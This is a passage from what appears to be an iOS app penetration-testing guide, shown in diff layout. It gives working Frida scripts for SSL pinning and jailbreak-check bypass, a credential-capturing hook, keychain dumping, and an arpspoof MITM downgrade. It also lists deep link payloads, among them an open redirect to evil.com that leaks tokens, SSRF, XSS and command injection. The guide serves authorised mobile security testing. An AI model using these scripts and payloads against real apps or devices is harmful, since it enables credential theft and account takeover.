objection -g com.target.app explore
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
### Phase 4 — SSL Pinning Bypass
|
|
264
|
+
|
|
265
|
+
17. Attempt built-in objection bypass:
|
|
266
|
+
```bash
|
|
267
|
+
ios sslpinning disable
|
|
268
|
+
```
|
|
269
|
+
18. If insufficient — use Frida SSL Kill Switch 2:
|
|
270
|
+
```bash
|
|
271
|
+
frida -U -f com.target.app --codeshare "akabe1/frida-ios-ssl-kill-switch" --no-pause
|
|
272
|
+
```
|
|
273
|
+
19. If pinning uses custom `URLSession` delegate — trace and hook:
|
|
274
|
+
```bash
|
|
275
|
+
frida-trace -U -m "*[* URLSession:didReceiveChallenge:completionHandler:]" com.target.app
|
|
276
|
+
```
|
|
277
|
+
20. If certificate pinning uses `SecTrustEvaluate` at C level — use TrustKit bypass script
|
|
278
|
+
|
|
279
|
+
### Phase 5 — Keychain and Local Storage
|
|
280
|
+
|
|
281
|
+
21. Dump keychain from objection:
|
|
282
|
+
```bash
|
|
283
|
+
ios keychain dump --json > keychain_dump.json
|
|
284
|
+
```
|
|
285
|
+
22. Check SQLite databases:
|
|
286
|
+
```bash
|
|
287
|
+
ios files ls /var/mobile/Containers/Data/Application/<UUID>/Library/
|
|
288
|
+
ios files download /var/mobile/Containers/Data/Application/<UUID>/Library/Databases/
|
|
289
|
+
sqlite3 app.sqlite ".tables"
|
|
290
|
+
sqlite3 app.sqlite "SELECT * FROM users;"
|
|
291
|
+
```
|
|
292
|
+
23. Check UserDefaults (plist files):
|
|
293
|
+
```bash
|
|
294
|
+
ios plist cat /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.target.app.plist
|
|
295
|
+
```
|
|
296
|
+
24. Check for unencrypted files with sensitive data:
|
|
297
|
+
```bash
|
|
298
|
+
ios files ls --json /var/mobile/Containers/Data/Application/<UUID>/Documents/
|
|
299
|
+
```
|
|
300
|
+
25. Inspect CoreData store if present (`.sqlite` or `.momd`)
|
|
301
|
+
|
|
302
|
+
### Phase 6 — Deep Link and URL Scheme Testing
|
|
303
|
+
|
|
304
|
+
26. List registered URL schemes from `Info.plist`:
|
|
305
|
+
```bash
|
|
306
|
+
plutil -p Info.plist | grep -A3 CFBundleURLSchemes
|
|
307
|
+
```
|
|
308
|
+
27. Trigger URL schemes from Safari or device terminal:
|
|
309
|
+
```bash
|
|
310
|
+
# Via SSH on device:
|
|
311
|
+
open "targetapp://reset-password?token=AAAA&email=attacker@evil.com"
|
|
312
|
+
# Via xcrun on Mac (simulator):
|
|
313
|
+
xcrun simctl openurl booted "targetapp://admin/panel"
|
|
314
|
+
```
|
|
315
|
+
28. Trace URL scheme handler with Frida:
|
|
316
|
+
```bash
|
|
317
|
+
frida-trace -U -m "*[AppDelegate application:openURL:options:]" com.target.app
|
|
318
|
+
frida-trace -U -m "*[* handleDeepLink*]" com.target.app
|
|
319
|
+
```
|
|
320
|
+
29. Test for parameter injection — path traversal, open redirect, parameter pollution
|
|
321
|
+
30. Test Universal Links — check `apple-app-site-association` on server:
|
|
322
|
+
```bash
|
|
323
|
+
curl https://target.com/.well-known/apple-app-site-association | python3 -m json.tool
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
### Phase 7 — Background Data Leakage
|
|
327
|
+
|
|
328
|
+
31. Put app in background and check screenshot cache:
|
|
329
|
+
```bash
|
|
330
|
+
# On device via SSH:
|
|
331
|
+
ls /var/mobile/Containers/Data/Application/<UUID>/Library/SplashBoard/Snapshots/
|
|
332
|
+
```
|
|
333
|
+
32. Verify app clears sensitive UI before backgrounding (MSTG-STORAGE-9)
|
|
334
|
+
33. Check Pasteboard for sensitive data:
|
|
335
|
+
```bash
|
|
336
|
+
# Frida hook UIPasteboard
|
|
337
|
+
frida -U -l pasteboard_monitor.js com.target.app
|
|
338
|
+
```
|
|
339
|
+
|
|
340
|
+
### Phase 8 — Jailbreak Detection Bypass
|
|
341
|
+
|
|
342
|
+
34. Check if app detects jailbreak on launch — test on jailbroken device without bypass
|
|
343
|
+
35. Apply objection bypass:
|
|
344
|
+
```bash
|
|
345
|
+
ios jailbreak disable
|
|
346
|
+
```
|
|
347
|
+
36. If detection is custom — identify with class-dump, hook with Frida
|
|
348
|
+
37. Document which checks are present (file existence, dyld checks, sandbox escape, fork)
|
|
349
|
+
|
|
350
|
+
### Phase 9 — Reporting
|
|
351
|
+
|
|
352
|
+
38. Capture all findings with screenshots, Frida output logs, Burp exports
|
|
353
|
+
39. Map each finding to OWASP MASVS control (M1–M10) and CVSS score
|
|
354
|
+
40. Document reproduction steps as numbered command sequences
|
|
355
|
+
|
|
356
|
+
---
|
|
357
|
+
|
|
358
|
+
## 5. Actual Working Terminal Commands
|
|
359
|
+
|
|
360
|
+
### IPA Decryption
|
|
361
|
+
|
|
362
|
+
```bash
|
|
363
|
+
# Connect device over USB, ensure Frida server is running on device
|
|
364
|
+
frida-ps -U | grep -i "target"
|
|
365
|
+
|
|
366
|
+
# Decrypt and pull IPA (replace bundle ID)
|
|
367
|
+
cd frida-ios-dump
|
|
368
|
+
python3 dump.py com.target.bundleid -o /tmp/target_decrypted.ipa
|
|
369
|
+
|
|
370
|
+
# If app crashes during dump (background memory pressure):
|
|
371
|
+
python3 dump.py -H <device-ip> -p 27042 com.target.bundleid -o /tmp/target_decrypted.ipa
|
|
372
|
+
```
|
|
373
|
+
|
|
374
|
+
### Class-Dump Header Extraction
|
|
375
|
+
|
|
376
|
+
```bash
|
|
377
|
+
# Unzip IPA
|
|
378
|
+
unzip /tmp/target_decrypted.ipa -d /tmp/target_extracted/
|
|
379
|
+
|
|
380
|
+
# Run class-dump on binary
|
|
381
|
+
class-dump -H /tmp/target_extracted/Payload/AppName.app/AppName \
|
|
382
|
+
-o /tmp/target_headers/
|
|
383
|
+
|
|
384
|
+
# List all headers
|
|
385
|
+
ls /tmp/target_headers/
|
|
386
|
+
|
|
387
|
+
# Search headers for authentication logic
|
|
388
|
+
grep -rl "authenticate\|login\|password\|token\|secret" /tmp/target_headers/
|
|
389
|
+
|
|
390
|
+
# Grep for hardcoded strings inside binary
|
|
391
|
+
strings /tmp/target_extracted/Payload/AppName.app/AppName \
|
|
392
|
+
| grep -Ei "(http|https)://[^/]+" \
|
|
393
|
+
| sort -u
|
|
394
|
+
|
|
395
|
+
# Demangle Swift symbols
|
|
396
|
+
nm /tmp/target_extracted/Payload/AppName.app/AppName \
|
|
397
|
+
| grep " T " \
|
|
398
|
+
| cut -d' ' -f3 \
|
|
399
|
+
| swift-demangle \
|
|
400
|
+
| grep -i "auth\|login\|network"
|
|
401
|
+
```
|
|
402
|
+
|
|
403
|
+
### Objection iOS Commands
|
|
404
|
+
|
|
405
|
+
```bash
|
|
406
|
+
# Attach to running app
|
|
407
|
+
objection -g com.target.bundleid explore
|
|
408
|
+
|
|
409
|
+
# --- Inside objection shell ---
|
|
410
|
+
|
|
411
|
+
# Environment info
|
|
412
|
+
env
|
|
413
|
+
|
|
414
|
+
# List keychain entries
|
|
415
|
+
ios keychain dump
|
|
416
|
+
ios keychain dump --json
|
|
417
|
+
|
|
418
|
+
# File system
|
|
419
|
+
ios files ls /
|
|
420
|
+
ios files ls /var/mobile/Containers/Data/Application/
|
|
421
|
+
ios files download /path/to/file.db
|
|
422
|
+
|
|
423
|
+
# UserDefaults
|
|
424
|
+
ios nsuserdefaults get
|
|
425
|
+
|
|
426
|
+
# Pasteboard
|
|
427
|
+
ios pasteboard monitor
|
|
428
|
+
|
|
429
|
+
# SSL pinning
|
|
430
|
+
ios sslpinning disable
|
|
431
|
+
|
|
432
|
+
# Jailbreak detection bypass
|
|
433
|
+
ios jailbreak disable
|
|
434
|
+
|
|
435
|
+
# Biometric bypass
|
|
436
|
+
ios ui biometrics_bypass
|
|
437
|
+
|
|
438
|
+
# Hook all methods of a class
|
|
439
|
+
ios hooking watch class NSURLSession
|
|
440
|
+
ios hooking watch class NetworkManager
|
|
441
|
+
|
|
442
|
+
# List all classes
|
|
443
|
+
ios hooking list classes | grep -i "auth\|network\|crypto"
|
|
444
|
+
|
|
445
|
+
# List methods of a class
|
|
446
|
+
ios hooking list class_methods NSURLSession
|
|
447
|
+
|
|
448
|
+
# Hook specific method and print args
|
|
449
|
+
ios hooking watch method "-[LoginViewController loginWithUsername:password:]" --dump-args
|
|
450
|
+
|
|
451
|
+
# Search for instances
|
|
452
|
+
ios hooking get_instances NSString
|
|
453
|
+
|
|
454
|
+
# Dump memory
|
|
455
|
+
memory dump all /tmp/memdump.bin
|
|
456
|
+
memory dump from_base 0x100000000 1024 /tmp/segment.bin
|
|
457
|
+
|
|
458
|
+
# Search memory for string
|
|
459
|
+
memory search "password" --string
|
|
460
|
+
|
|
461
|
+
# Sqlite
|
|
462
|
+
sqlite connect /path/to/database.sqlite
|
|
463
|
+
sqlite execute query "SELECT * FROM users"
|
|
464
|
+
```
|
|
465
|
+
|
|
466
|
+
### Keychain Dump Full Commands
|
|
467
|
+
|
|
468
|
+
```bash
|
|
469
|
+
# Dump via objection (most reliable)
|
|
470
|
+
objection -g com.target.bundleid explore --startup-command "ios keychain dump --json" \
|
|
471
|
+
> keychain_output.json 2>&1
|
|
472
|
+
|
|
473
|
+
# Dump via Frida script (all apps, requires jailbreak)
|
|
474
|
+
frida -U -l keychain_dump_all.js -f com.target.bundleid --no-pause
|
|
475
|
+
|
|
476
|
+
# On device via SSH — use keychain-dumper binary:
|
|
477
|
+
# Install keychain-dumper on device:
|
|
478
|
+
scp keychain-dumper root@<ip>:/tmp/
|
|
479
|
+
ssh root@<ip> "chmod +x /tmp/keychain-dumper && /tmp/keychain-dumper"
|
|
480
|
+
# Source: https://github.com/ptoomey3/Keychain-Dumper
|
|
481
|
+
|
|
482
|
+
# Filter for target app's keychain group
|
|
483
|
+
/tmp/keychain-dumper | grep -A5 "com.target.bundleid"
|
|
484
|
+
```
|
|
485
|
+
|
|
486
|
+
### SSL Pinning Bypass
|
|
487
|
+
|
|
488
|
+
```bash
|
|
489
|
+
# Method 1 — objection (covers NSURLSession, NSURLConnection, Alamofire, TrustKit)
|
|
490
|
+
objection -g com.target.bundleid explore
|
|
491
|
+
ios sslpinning disable
|
|
492
|
+
|
|
493
|
+
# Method 2 — SSL Kill Switch 2 (Codeshare)
|
|
494
|
+
frida -U -f com.target.bundleid \
|
|
495
|
+
--codeshare "akabe1/frida-ios-ssl-kill-switch" \
|
|
496
|
+
--no-pause
|
|
497
|
+
|
|
498
|
+
# Method 3 — manual script for custom pinning
|
|
499
|
+
frida -U -l ssl_bypass_custom.js com.target.bundleid
|
|
500
|
+
|
|
501
|
+
# Method 4 — patch binary (permanent, no Frida needed)
|
|
502
|
+
# Find SecTrustEvaluate call in Hopper/Binary Ninja
|
|
503
|
+
# NOP or patch branch to always return kSecTrustResultProceed
|
|
504
|
+
|
|
505
|
+
# Verify bypass worked — check Burp for traffic
|
|
506
|
+
# If still failing, check for:
|
|
507
|
+
# - Certificate Transparency pinning
|
|
508
|
+
# - Public key pinning (not just cert pinning)
|
|
509
|
+
# - Custom TLS stack (BoringSSL, custom C code)
|
|
510
|
+
|
|
511
|
+
# For Alamofire/SwiftNIO pinning:
|
|
512
|
+
frida -U -l alamofire_bypass.js com.target.bundleid
|
|
513
|
+
```
|
|
514
|
+
|
|
515
|
+
### Deep Link Testing Commands
|
|
516
|
+
|
|
517
|
+
```bash
|
|
518
|
+
# List URL schemes from Info.plist
|
|
519
|
+
unzip -p target.ipa Payload/AppName.app/Info.plist | plutil -p - | grep -A10 CFBundleURLTypes
|
|
520
|
+
|
|
521
|
+
# Trigger URL scheme on device via SSH
|
|
522
|
+
ssh root@<device-ip>
|
|
523
|
+
open "targetapp://dashboard"
|
|
524
|
+
open "targetapp://reset?token=test123"
|
|
525
|
+
open "targetapp://admin"
|
|
526
|
+
|
|
527
|
+
# Trigger from Mac via xcrun (simulator)
|
|
528
|
+
xcrun simctl openurl booted "targetapp://user/profile?id=1"
|
|
529
|
+
|
|
530
|
+
# Fuzz URL scheme parameters
|
|
531
|
+
for path in admin dashboard settings user/1 user/../../etc/passwd; do
|
|
532
|
+
open "targetapp://$path"
|
|
533
|
+
sleep 1
|
|
534
|
+
done
|
|
535
|
+
|
|
536
|
+
# Trace deep link handling in real time
|
|
537
|
+
frida-trace -U \
|
|
538
|
+
-m "*[AppDelegate application:openURL:options:]" \
|
|
539
|
+
-m "*[AppDelegate application:continueUserActivity:restorationHandler:]" \
|
|
540
|
+
-m "*[SceneDelegate scene:openURLContexts:]" \
|
|
541
|
+
com.target.bundleid
|
|
542
|
+
|
|
543
|
+
# Check Universal Links server config
|
|
544
|
+
curl -s https://target.com/.well-known/apple-app-site-association | python3 -m json.tool
|
|
545
|
+
curl -s https://target.com/apple-app-site-association | python3 -m json.tool
|
|
546
|
+
|
|
547
|
+
# Test Universal Link handling
|
|
548
|
+
# Send iMessage or email with target universal link and tap it on device
|
|
549
|
+
```
|
|
550
|
+
|
|
551
|
+
---
|
|
552
|
+
|
|
553
|
+
## 6. Payload Examples with Explanations
|
|
554
|
+
|
|
555
|
+
### 6.1 Frida Hook — Return Value Manipulation
|
|
556
|
+
|
|
557
|
+
```javascript
|
|
558
|
+
// hook_bypass.js
|
|
559
|
+
// Hooks isJailbroken method and forces it to return false
|
|
560
|
+
// Usage: frida -U -l hook_bypass.js com.target.app
|
|
561
|
+
|
|
562
|
+
if (ObjC.available) {
|
|
563
|
+
// Target Objective-C jailbreak check
|
|
564
|
+
var JailbreakClass = ObjC.classes["JailbreakDetection"];
|
|
565
|
+
if (JailbreakClass) {
|
|
566
|
+
var isJailbroken = JailbreakClass["- isJailbroken"];
|
|
567
|
+
Interceptor.attach(isJailbroken.implementation, {
|
|
568
|
+
onLeave: function(retval) {
|
|
569
|
+
retval.replace(0); // 0 = NO (false) in Objective-C BOOL
|
|
570
|
+
console.log("[*] isJailbroken bypassed — returned false");
|
|
571
|
+
}
|
|
572
|
+
});
|
|
573
|
+
}
|
|
574
|
+
|
|
575
|
+
// Target Swift jailbreak check by symbol name
|
|
576
|
+
var symbols = Module.enumerateSymbolsSync("AppName");
|
|
577
|
+
symbols.forEach(function(sym) {
|
|
578
|
+
if (sym.name.indexOf("isJailbroken") !== -1 ||
|
|
579
|
+
sym.name.indexOf("JailbreakCheck") !== -1) {
|
|
580
|
+
console.log("[*] Found symbol: " + sym.name + " @ " + sym.address);
|
|
581
|
+
Interceptor.attach(sym.address, {
|
|
582
|
+
onLeave: function(retval) {
|
|
583
|
+
retval.replace(0);
|
|
584
|
+
console.log("[*] Patched: " + sym.name);
|
|
585
|
+
}
|
|
586
|
+
});
|
|
587
|
+
}
|
|
588
|
+
});
|
|
589
|
+
}
|
|
590
|
+
```
|
|
591
|
+
|
|
592
|
+
### 6.2 Frida Hook — SSL Pinning Bypass (Custom)
|
|
593
|
+
|
|
594
|
+
```javascript
|
|
595
|
+
// ssl_bypass_custom.js
|
|
596
|
+
// Patches SecTrustEvaluateWithError at C level
|
|
597
|
+
// Covers cases where objection's built-in bypass fails
|
|
598
|
+
|
|
599
|
+
var SecTrustEvaluateWithError = Module.findExportByName(
|
|
600
|
+
"Security", "SecTrustEvaluateWithError"
|
|
601
|
+
);
|
|
602
|
+
|
|
603
|
+
if (SecTrustEvaluateWithError) {
|
|
604
|
+
Interceptor.replace(SecTrustEvaluateWithError, new NativeCallback(
|
|
605
|
+
function(trust, error) {
|
|
606
|
+
// Write NULL to error pointer so caller sees no error
|
|
607
|
+
if (!error.isNull()) {
|
|
608
|
+
Memory.writePointer(error, NULL);
|
|
609
|
+
}
|
|
610
|
+
return 1; // kSecTrustResultProceed = 1
|
|
611
|
+
},
|
|
612
|
+
'bool', ['pointer', 'pointer']
|
|
613
|
+
));
|
|
614
|
+
console.log("[*] SecTrustEvaluateWithError patched");
|
|
615
|
+
}
|
|
616
|
+
|
|
617
|
+
// Also patch legacy SecTrustEvaluate
|
|
618
|
+
var SecTrustEvaluate = Module.findExportByName("Security", "SecTrustEvaluate");
|
|
619
|
+
if (SecTrustEvaluate) {
|
|
620
|
+
Interceptor.replace(SecTrustEvaluate, new NativeCallback(
|
|
621
|
+
function(trust, result) {
|
|
622
|
+
// kSecTrustResultProceed = 1
|
|
623
|
+
Memory.writeU32(result, 1);
|
|
624
|
+
return 0; // errSecSuccess
|
|
625
|
+
},
|
|
626
|
+
'int', ['pointer', 'pointer']
|
|
627
|
+
));
|
|
628
|
+
console.log("[*] SecTrustEvaluate patched");
|
|
629
|
+
}
|
|
630
|
+
```
|
|
631
|
+
|
|
632
|
+
### 6.3 Frida Hook — Credential Interception
|
|
633
|
+
|
|
634
|
+
```javascript
|
|
635
|
+
// credential_hook.js
|
|
636
|
+
// Intercepts login credentials before they are sent to the network
|
|
637
|
+
// Usage: frida -U -l credential_hook.js com.target.app
|
|
638
|
+
|
|
639
|
+
if (ObjC.available) {
|
|
640
|
+
// Hook NSURLSession dataTaskWithRequest
|
|
641
|
+
var NSURLSession = ObjC.classes.NSURLSession;
|
|
642
|
+
var dataTask = NSURLSession["- dataTaskWithRequest:completionHandler:"];
|
|
643
|
+
|
|
644
|
+
Interceptor.attach(dataTask.implementation, {
|
|
645
|
+
onEnter: function(args) {
|
|
646
|
+
var request = ObjC.Object(args[2]);
|
|
647
|
+
var url = request.URL().toString();
|
|
648
|
+
var method = request.HTTPMethod().toString();
|
|
649
|
+
var body = request.HTTPBody();
|
|
650
|
+
|
|
651
|
+
if (url.indexOf("login") !== -1 || url.indexOf("auth") !== -1) {
|
|
652
|
+
console.log("\n[CREDENTIAL CAPTURE]");
|
|
653
|
+
console.log("URL: " + url);
|
|
654
|
+
console.log("Method: " + method);
|
|
655
|
+
|
|
656
|
+
if (body) {
|
|
657
|
+
var bodyStr = ObjC.classes.NSString.alloc()
|
|
658
|
+
.initWithData_encoding_(body, 4); // NSUTF8StringEncoding = 4
|
|
659
|
+
console.log("Body: " + bodyStr.toString());
|
|
660
|
+
}
|
|
661
|
+
|
|
662
|
+
// Dump headers
|
|
663
|
+
var headers = request.allHTTPHeaderFields();
|
|
664
|
+
if (headers) {
|
|
665
|
+
console.log("Headers: " + headers.toString());
|
|
666
|
+
}
|
|
667
|
+
}
|
|
668
|
+
}
|
|
669
|
+
});
|
|
670
|
+
}
|
|
671
|
+
```
|
|
672
|
+
|
|
673
|
+
### 6.4 Deep Link Payload Examples
|
|
674
|
+
|
|
675
|
+
```
|
|
676
|
+
# Path traversal in deep link parameter
|
|
677
|
+
targetapp://profile?redirect=../../settings/admin
|
|
678
|
+
|
|
679
|
+
# Open redirect via deep link
|
|
680
|
+
targetapp://auth/callback?next=https://evil.com/steal?token=
|
|
681
|
+
|
|
682
|
+
# Token injection via reset link
|
|
683
|
+
targetapp://reset-password?token=AAAA&email=victim@corp.com
|
|
684
|
+
|
|
685
|
+
# IDOR via user ID parameter
|
|
686
|
+
targetapp://user/view?id=1
|
|
687
|
+
targetapp://user/view?id=2 # try incrementing
|
|
688
|
+
|
|
689
|
+
# JavaScript injection if WebView renders deep link content
|
|
690
|
+
targetapp://help?topic=<script>alert(1)</script>
|
|
691
|
+
|
|
692
|
+
# SSRF via URL parameter
|
|
693
|
+
targetapp://fetch?url=http://169.254.169.254/latest/meta-data/
|
|
694
|
+
|
|
695
|
+
# Command injection attempt in path
|
|
696
|
+
targetapp://search?q=test;id
|
|
697
|
+
```
|
|
698
|
+
|
|
699
|
+
### 6.5 ATS Misconfiguration Payload
|
|
700
|
+
|
|
701
|
+
```bash
|
|
702
|
+
# Check if app allows HTTP (insecure) connections
|
|
703
|
+
# In Info.plist — dangerous configuration:
|
|
704
|
+
# NSAppTransportSecurity > NSAllowsArbitraryLoads = true
|
|
705
|
+
|
|
706
|
+
# Test by intercepting HTTP traffic in Burp
|
|
707
|
+
# Look for auth tokens, API keys sent over plain HTTP
|
|
708
|
+
|
|
709
|
+
# Downgrade attack — if ATS disabled, MITM HTTP:
|
|
710
|
+
arpspoof -i en0 -t <device-ip> <gateway-ip> &
|
|
711
|
+
mitmproxy --mode transparent --showhost
|
|
712
|
+
```
|
|
713
|
+
|
|
714
|
+
---
|
|
715
|
+
|
|
716
|
+
## 7. Tool Commands with Flags Explained
|
|
717
|
+
|
|
718
|
+
### frida-ios-dump
|
|
719
|
+
|
|
720
|
+
```bash
|
|
721
|
+
python3 dump.py \
|
|
722
|
+
-H 192.168.1.100 \ # device IP (use -U for USB)
|
|
723
|
+
-p 27042 \ # frida-server port (default 27042)
|
|
724
|
+
-u root \ # SSH username
|
|
725
|
+
-P alpine \ # SSH password
|
|
726
|
+
com.target.bundleid \ # bundle identifier
|
|
727
|
+
-o /tmp/decrypted.ipa # output IPA file path
|
|
728
|
+
|
|
729
|
+
# Flags:
|
|
730
|
+
# -U Use USB device (no -H needed)
|
|
731
|
+
# -H <host> Device IP for network connection
|
|
732
|
+
# -p <port> Frida server port
|
|
733
|
+
# -u <user> SSH user on device
|
|
734
|
+
# -P <pass> SSH password
|
|
735
|
+
# -o <file> Output IPA path
|
|
736
|
+
```
|
|
737
|
+
|
|
738
|
+
### class-dump
|
|
739
|
+
|
|
740
|
+
```bash
|
|
741
|
+
class-dump \
|
|
742
|
+
-H \ # Output one file per class (creates directory)
|
|
743
|
+
-o headers/ \ # Output directory for headers
|
|
744
|
+
--arch arm64 \ # Target architecture (arm64 for modern iOS)
|
|
745
|
+
AppBinary # Input binary path
|
|
746
|
+
|
|
747
|
+
# Flags:
|
|
748
|
+
# -H Generate separate header files per class
|
|
749
|
+
# -o <dir> Output directory
|
|
750
|
+
# --arch <arch> Specify architecture slice (arm64, arm64e)
|
|
751
|
+
# -A Show instance variable offsets
|
|
752
|
+
# -I Sort classes, protocols, and categories
|
|
753
|
+
```
|
|
754
|
+
|
|
755
|
+
### jtool2
|
|
756
|
+
|
|
757
|
+
```bash
|
|
758
|
+
# Show Mach-O header
|
|
759
|
+
jtool2 -h AppBinary
|
|
760
|
+
|
|
761
|
+
# List load commands
|
|
762
|
+
jtool2 -l AppBinary
|
|
763
|
+
|
|
764
|
+
# Show entitlements (capabilities, keychain groups)
|
|
765
|
+
jtool2 --ent AppBinary
|
|
766
|
+
|
|
767
|
+
# Show code signature info
|
|
768
|
+
jtool2 --sig AppBinary
|
|
769
|
+
|
|
770
|
+
# Disassemble function
|
|
771
|
+
jtool2 -d __TEXT.__text -s _main AppBinary
|
|
772
|
+
|
|
773
|
+
# List shared libraries
|
|
774
|
+
jtool2 -L AppBinary
|
|
775
|
+
|
|
776
|
+
# Show strings in binary
|
|
777
|
+
jtool2 --strings AppBinary
|
|
778
|
+
|
|
779
|
+
# Flags:
|
|
780
|
+
# -h Show Mach-O header
|
|
781
|
+
# -l List load commands
|
|
782
|
+
# -L List linked libraries
|
|
783
|
+
# --ent Print entitlements plist
|
|
784
|
+
# --sig Print code signature details
|
|
785
|
+
# --strings Extract strings
|
|
786
|
+
# -d <seg.sect> Disassemble section
|
|
787
|
+
# -s <symbol> Start disassembly at symbol
|
|
788
|
+
# -arch arm64 Target architecture
|
|
789
|
+
```
|
|
790
|
+
|
|
791
|
+
### frida-trace
|
|
792
|
+
|
|
793
|
+
```bash
|
|
794
|
+
# Trace all methods of a class
|
|
795
|
+
frida-trace -U \
|
|
796
|
+
-m "*[NetworkManager *]" \ # match any method in NetworkManager
|
|
797
|
+
com.target.bundleid
|
|
798
|
+
|
|
799
|
+
# Trace specific method
|
|
800
|
+
frida-trace -U \
|
|
801
|
+
-m "*[LoginVC loginWithUser:pass:]" \
|
|
802
|
+
com.target.bundleid
|
|
803
|
+
|
|
804
|
+
# Trace C function
|
|
805
|
+
frida-trace -U \
|
|
806
|
+
-i "SecTrustEvaluate" \ # -i matches C/native imports
|
|
807
|
+
com.target.bundleid
|
|
808
|
+
|
|
809
|
+
# Trace with auto-generated handler to print args
|
|
810
|
+
# Frida creates __handlers__/ directory with JS files you can edit
|
|
811
|
+
|
|
812
|
+
# Flags:
|
|
813
|
+
# -U USB device
|
|
814
|
+
# -H <host> Network device
|
|
815
|
+
# -m <pattern> ObjC method pattern (* = wildcard)
|
|
816
|
+
# -i <pattern> C function import pattern
|
|
817
|
+
# -f <app> Spawn app and trace from start
|
|
818
|
+
# --no-pause Don't pause after spawn
|
|
819
|
+
```
|
|
820
|
+
|
|
821
|
+
### objection
|
|
822
|
+
|
|
823
|
+
```bash
|
|
824
|
+
# Launch and attach
|
|
825
|
+
objection -g com.target.bundleid explore
|
|
826
|
+
|
|
827
|
+
# Inject at spawn (before app code runs — needed for early pinning bypass)
|
|
828
|
+
objection -g com.target.bundleid explore \
|
|
829
|
+
--startup-command "ios sslpinning disable"
|
|
830
|
+
|
|
831
|
+
# Non-interactive mode (run command and exit)
|
|
832
|
+
objection -g com.target.bundleid run "ios keychain dump --json"
|
|
833
|
+
|
|
834
|
+
# Flags:
|
|
835
|
+
# -g <bundle-id> Target app by bundle identifier
|
|
836
|
+
# -G <gadget-path> Use custom Frida gadget
|
|
837
|
+
# --startup-command <cmd> Run objection command at startup
|
|
838
|
+
# run <cmd> Execute single command non-interactively
|
|
839
|
+
# explore Enter interactive shell
|
|
840
|
+
```
|
|
841
|
+
|
|
842
|
+
### idb (Meta's iOS Debugging Bridge)
|
|
843
|
+
|
|
844
|
+
```bash
|
|
845
|
+
# Start companion on device (via Homebrew install)
|
|
846
|
+
idb_companion --udid <device-udid>
|
|
847
|
+
|
|
848
|
+
# List targets
|
|
849
|
+
idb list-targets
|
|
850
|
+
|
|
851
|
+
# List apps
|
|
852
|
+
idb list-apps --udid <udid>
|
|
853
|
+
|
|
854
|
+
# Launch app
|
|
855
|
+
idb launch --udid <udid> com.target.bundleid
|
|
856
|
+
|
|
857
|
+
# File operations
|
|
858
|
+
idb file ls --udid <udid> --bundle-id com.target.bundleid /
|
|
859
|
+
idb file pull --udid <udid> --bundle-id com.target.bundleid /Documents/data.db ./
|
|
860
|
+
|
|
861
|
+
# Log streaming
|
|
862
|
+
idb log --udid <udid>
|
|
863
|
+
|
|
864
|
+
# Run UI test
|
|
865
|
+
idb ui tap --udid <udid> 100 200
|
|
866
|
+
```
|
|
867
|
+
|
|
868
|
+
---
|
|
869
|
+
|
|
870
|
+
## 8. Real-World Attack Scenarios
|
|
871
|
+
|
|
872
|
+
### Scenario 1 — Banking App Credential Theft via SSL Pinning Bypass
|
|
873
|
+
|
|
874
|
+
**Target:** Mobile banking app for a regional bank
|
|
875
|
+
**Objective:** Demonstrate that SSL pinning can be bypassed to intercept credentials and session tokens
|
|
876
|
+
|
|
877
|
+
**Step 1 — Initial recon**
|
|
878
|
+
```bash
|
|
879
|
+
frida-ps -Ua | grep -i "bank"
|
|
880
|
+
# Output: 1234 BankApp com.regionalbank.ios
|
|
881
|
+
```
|
|
882
|
+
|
|
883
|
+
**Step 2 — Decrypt IPA and analyze**
|
|
884
|
+
```bash
|
|
885
|
+
python3 dump.py com.regionalbank.ios -o bank_decrypted.ipa
|
|
886
|
+
unzip bank_decrypted.ipa -d bank_extracted/
|
|
887
|
+
class-dump -H bank_extracted/Payload/BankApp.app/BankApp -o bank_headers/
|
|
888
|
+
grep -rl "pinning\|certificate\|TrustKit" bank_headers/
|
|
889
|
+
```
|
|
890
|
+
|
|
891
|
+
**Step 3 — Attempt basic bypass**
|
|
892
|
+
```bash
|
|
893
|
+
objection -g com.regionalbank.ios explore --startup-command "ios sslpinning disable"
|
|
894
|
+
# Result: TrustKit detected — basic bypass insufficient
|
|
895
|
+
```
|
|
896
|
+
|
|
897
|
+
**Step 4 — TrustKit-specific bypass**
|
|
898
|
+
```javascript
|
|
899
|
+
// trustkit_bypass.js
|
|
900
|
+
var TrustKit = ObjC.classes.TKPinningValidator;
|
|
901
|
+
if (TrustKit) {
|
|
902
|
+
var evaluateTrust = TrustKit["+ evaluateTrust:forHostname:"];
|
|
903
|
+
Interceptor.attach(evaluateTrust.implementation, {
|
|
904
|
+
onLeave: function(retval) {
|
|
905
|
+
retval.replace(0); // TSKTrustDecisionShouldAllowConnection = 0
|
|
906
|
+
console.log("[*] TrustKit bypassed");
|
|
907
|
+
}
|
|
908
|
+
});
|
|
909
|
+
}
|
|
910
|
+
```
|
|
911
|
+
```bash
|
|
912
|
+
frida -U -l trustkit_bypass.js -f com.regionalbank.ios --no-pause
|
|
913
|
+
```
|
|
914
|
+
|
|
915
|
+
**Step 5 — Capture traffic**
|
|
916
|
+
- All API calls now visible in Burp
|
|
917
|
+
- Captured: `POST /api/v2/auth/login` with `{"username":"user@bank.com","password":"Passw0rd!"}`
|
|
918
|
+
- Captured: Bearer token in response — valid for 24 hours with no device binding
|
|
919
|
+
|
|
920
|
+
**Impact:** Attacker on same Wi-Fi network with MITM position could steal credentials. Session token has no device binding — can be replayed from any location.
|
|
921
|
+
|
|
922
|
+
---
|
|
923
|
+
|
|
924
|
+
### Scenario 2 — Insecure Deep Link Leads to Account Takeover
|
|
925
|
+
|
|
926
|
+
**Target:** E-commerce app with password reset via deep link
|
|
927
|
+
**Objective:** Demonstrate token predictability and missing validation in deep link handler
|
|
928
|
+
|
|
929
|
+
**Step 1 — Identify URL scheme**
|
|
930
|
+
```bash
|
|
931
|
+
plutil -p Info.plist | grep -A5 CFBundleURLSchemes
|
|
932
|
+
# Output: shopapp
|
|
933
|
+
```
|
|
934
|
+
|
|
935
|
+
**Step 2 — Trace deep link handler**
|
|
936
|
+
```bash
|
|
937
|
+
frida-trace -U \
|
|
938
|
+
-m "*[AppDelegate application:openURL:options:]" \
|
|
939
|
+
com.shopapp.ios &
|
|
940
|
+
|
|
941
|
+
# Trigger reset flow in app — receive deep link via email:
|
|
942
|
+
# shopapp://reset?token=BASE64TOKEN&email=test@test.com
|
|
943
|
+
```
|
|
944
|
+
|
|
945
